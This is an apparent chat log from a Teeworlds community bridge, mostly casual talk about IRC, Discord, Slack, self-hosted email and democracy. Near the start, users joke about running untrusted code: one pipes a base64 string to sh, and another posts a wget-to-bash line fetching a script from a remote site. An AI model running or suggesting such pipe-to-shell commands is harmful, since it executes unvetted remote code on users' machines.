Teeworlds - bridge

Yes imo blood can stay in custom clients

Assa: You can manage the servers if you want to. I won't have any time for Teeworlds in the coming months anyway.

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cd

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..

echo ZWNobyB5b3Ugc2hvdWxkbnQgYWN0dWFsbHkgcnVuIHJhbmRvbSBjb2RlCg== | base64 -d | sh

100% won't trust, 100% will run

wget -O - http://hentai.ru/girl.sh | bash

"ZW" "Noby"

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mhm

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also

$ echo ZWNobyB5b3Ugc2hvdWxkbnQgYWN0dWFsbHkgcnVuIHJhbmRvbSBjb2RlCg== | base64 -d | sh
you shouldnt actually run random code

20:58

doesnt seem to do anything

but it did

hey minus

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long time no see

i'm always here tho

me not

20:59

tho

literally haven't missed a day on irc in the last 10 years

"irc"

okay maybe a few

tfw you never get to unplug

get off my lawn with your discord

you're always with your computer?

no

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i'm not even always with an internet connection

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also i dont think discord is a good thing either

21:00

it just works for different people

which you are part of

the day discord dies i'll laugh

for me it works better than irc since i'm there anyway

j/k i laugh about it every time

proprietary chat clients have some sort of 6 years cycle

i think we can just agree that everything is shit

but still they're necessary for non-techies

i do agree

21:02

but again, i have it because it works for some people

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i mean its better than skype

what happened to slack?

too expensive for most i guess

slack ate my memory

welp thats literally every electron app out there

firefox task manager reported my slack tab at work with 2.47G of memory today

oh have you seen this electron terminal app

21:04

which takes a full cpu core to display a blinking cursor?

hyper?

no idea how its called

paying >200€/month for slack \o/

you personally?

nah, work

well its their decision

21:05

its offloading the work of administrating something yourself

definitely

because communication has to always work

i mean if mattermost worked well it'd be a different story

28/7

we run most of the other crap ourselves tho

a company i know switched to a self hosted rocket chat recently (+ they modified a few bits and pieces tho mostly just the certificates and stuff)

except for email

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and box

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and salesforce

yeah. as i said, some things just have to always work

and some other business crap i don't touch

or are a really good deal if someone else does it

gitlab, jira, confluence we run ourselves tho

email is such a delicate piece of crap that it survived so long

21:07

but its not trivial to get it right

i'm pr0 at running email

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i've been running my own mail server for ~9 years

well no, you set it up once

cat >/dev/mail

and i literally didn't once drop all mail for two weeks

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(i did)

if only we could move the chat ecosystem to a more decentralized place

well i read a bunch of docs and then decided i'm super happy i have a hoster doing it for me

heinrich5991, decentralization is inefficient

dune you can say democracy is inefficient

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but i believe we all benefit from it in a way (edited)

centralization is inefficient if google cloud is down

like yesterday

i bet someone ddosed their NA east region

guenstig, democracy is centralized

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the power is

no, what you are describing is a republic

directy democracy plzkthx

democracy =!= republic

take every single decision by a nation-wide referendum?

yes!

i dont say democracy is the perfect form (quote plato if you want), but its certainly not efficient

perferrably only by people who have proven to have a clue

you always have a granularity

reminder that facebook mass manipulation is a thing

you can't have people take minor decisions

well then how do you seperate those who "have a clue" from the others?

^

those who studied? got a certain grade?

not my problem

your education elite?

21:14

the point of democracy is that the δημος, everyone, takes on decisions

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tho i agree it doesnt work (edited)

you can't have everyone take every decision, there are like hundreds of decisions taken every day day

exactly

that's why you select a few competent and representative people to do that

thats why people came up with a republic

and that is centralization

its a mixture

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since when its about deciding who represents you, everyone gets to make the decision on their own

has there even be a democratic system in FOSS development?

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it seems like people tout democracy but every local system is always top-down

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how many communities have democratically elected moderators?

problem is youre talking about the internet

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where the base assumption is "everyone is harmful by intent" but control is possible

the things we'd do for anonimity

thats two things that are radically different from the "real" world. absolute control is feasible on the internet (at least on a lower scale). and anonymity is a great thing